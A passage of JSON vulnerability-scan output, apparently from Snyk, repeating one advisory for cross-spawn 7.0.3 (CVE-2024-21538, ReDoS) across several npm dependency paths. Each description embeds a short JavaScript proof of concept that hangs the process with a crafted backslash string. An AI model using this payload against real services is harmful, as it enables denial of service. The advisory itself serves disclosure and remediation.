"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub 